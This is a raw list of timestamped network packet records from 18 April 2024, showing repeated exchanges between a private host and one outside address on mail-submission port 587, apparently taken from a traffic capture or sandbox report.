Apr 18, 2024 18:28:45.920846939 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.920886040 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.920977116 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.921030045 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.926033974 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.926201105 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:46.159153938 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:46.159209013 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:46.159265041 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:46.159353018 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:46.276982069 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:46.277301073 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:46.281100035 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:46.506011963 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:46.506036043 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:46.506145954 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:46.506145954 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:46.649738073 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:46.650765896 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:46.749380112 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:46.852974892 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:46.853019953 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:46.853054047 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:46.853101969 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:46.853101969 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:46.987947941 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:46.988255024 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:47.107944965 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:47.108023882 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:47.199892998 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:47.199947119 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:47.199981928 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:47.200092077 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:47.348058939 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:47.348268986 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:47.463938951 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:47.464030027 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:47.547020912 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:47.547096014 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:47.547106981 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:47.692987919 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:47.693378925 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:47.693432093 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:47.693465948 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:47.693537951 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:47.695002079 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:47.893765926 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:47.952492952 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.037544966 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.037564993 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.037579060 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.037594080 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.037628889 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.037710905 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.039087057 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.039155960 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.039230108 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.039230108 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.039252996 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.039323092 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.039329052 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.039381981 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.039392948 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.039436102 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.077467918 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.307718039 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.307910919 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.384465933 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.384512901 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.384556055 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.384618044 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.386097908 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.386154890 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.386193991 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.386223078 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.386279106 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.386296034 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.386318922 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.386372089 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.386440039 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.386466980 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.386508942 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.386568069 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.386589050 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.386594057 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.387063980 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.424774885 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.424938917 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.570563078 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.664319038 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.666608095 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.733067036 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.733112097 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.734559059 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.734908104 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.734947920 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735008955 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735055923 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.735090017 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735163927 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735197067 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735270977 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735362053 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735393047 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735425949 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735456944 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735529900 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735562086 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735660076 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735693932 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735785007 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735830069 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.735918045 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.736011982 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.736044884 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.736077070 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.736129999 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.736517906 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.773385048 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.773412943 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.774506092 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:48.915019035 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:48.916902065 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.030150890 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.032552958 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.083116055 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.083159924 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.083285093 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.083318949 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.083456039 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.120351076 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.120368004 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.120414972 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.120445013 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.258838892 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.259047031 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.386009932 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.386034966 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.386084080 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.386085033 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.426788092 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.426848888 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.467865944 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.467925072 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.468033075 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.468069077 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.601460934 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.601843119 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.744863033 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.744944096 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.744963884 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.745031118 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.800158024 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.815720081 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.815738916 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.815804005 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.815850973 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.874345064 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:49.956204891 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:49.956762075 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.099121094 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.099143028 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.099206924 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.099241018 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.099280119 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.145402908 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.148505926 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.162446022 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.162496090 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.162632942 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.162746906 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.221034050 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.314668894 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.314691067 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.314727068 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.314970970 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.316463947 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.451423883 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.451764107 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.485471964 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.485573053 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.485574007 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.518733025 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.518750906 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.518765926 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.518841028 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.518841028 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.665177107 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.669667959 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.799504995 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.824424982 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.824455023 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.824878931 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.826112986 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.826210022 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.826210022 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.858756065 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:50.866938114 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.866978884 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:50.867168903 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:51.014955044 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:51.016921997 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:51.217670918 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:51.223534107 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:51.223612070 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:51.265119076 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:51.368769884 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:51.369045973 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:51.580816031 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:51.580904007 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:51.611428022 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:51.715899944 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:51.716809034 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:51.717022896 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:51.764988899 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:52.047605991 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:52.047856092 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:52.082449913 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:52.082541943 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:52.111929893 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:52.396878004 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:52.400636911 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:52.449739933 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:52.452614069 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:52.734989882 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:52.738746881 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:52.738831043 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:52.738831043 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:52.739861012 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:52.740974903 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:52.813882113 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:52.816171885 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:52.886993885 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.077857018 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.079083920 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.079106092 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.079119921 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.079771996 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.079932928 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.081135988 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.081149101 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.081218004 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.081245899 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.081245899 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.081302881 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.081331015 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.081341982 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.081357956 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.081414938 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.081414938 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.164542913 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.164566040 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.164639950 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.164640903 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.426753998 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.426925898 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.427908897 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.427942038 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.427979946 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.427982092 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.427999020 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.428055048 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.428055048 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.428136110 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.428152084 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.428175926 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.428190947 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.428241968 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.428286076 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.428287029 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.527506113 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.527537107 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.527601004 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.527601957 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.762826920 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.762883902 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.762922049 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.762970924 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.763562918 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.763597012 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.763622999 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.763648987 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.763650894 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.763727903 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.763758898 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.763832092 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.763863087 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.763936043 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.763967991 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.764060020 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.764092922 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.764143944 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.764236927 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.764269114 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.764525890 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.881899118 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.881953955 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:53.881990910 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:53.882049084 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:54.093255043 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:54.093310118 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:54.093347073 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:54.093661070 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:54.093677998 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:54.093874931 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:54.241492033 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:54.241552114 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:54.242561102 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:54.593024969 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:54.749372959 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:54.898248911 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:55.077495098 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:55.104219913 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:55.106488943 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:55.209274054 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:55.464883089 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:55.464999914 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:55.466036081 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:55.547688007 CEST	587	49763	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:55.548341990 CEST	49763	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:55.549897909 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:55.562021017 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:55.825306892 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:55.825521946 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:55.866662979 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:55.866743088 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:55.921159983 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:55.921266079 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:56.178639889 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:56.178663015 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:56.187978029 CEST	587	49764	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:56.188179970 CEST	49764	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:56.277153969 CEST	587	49761	94.100.26.91	192.168.2.4
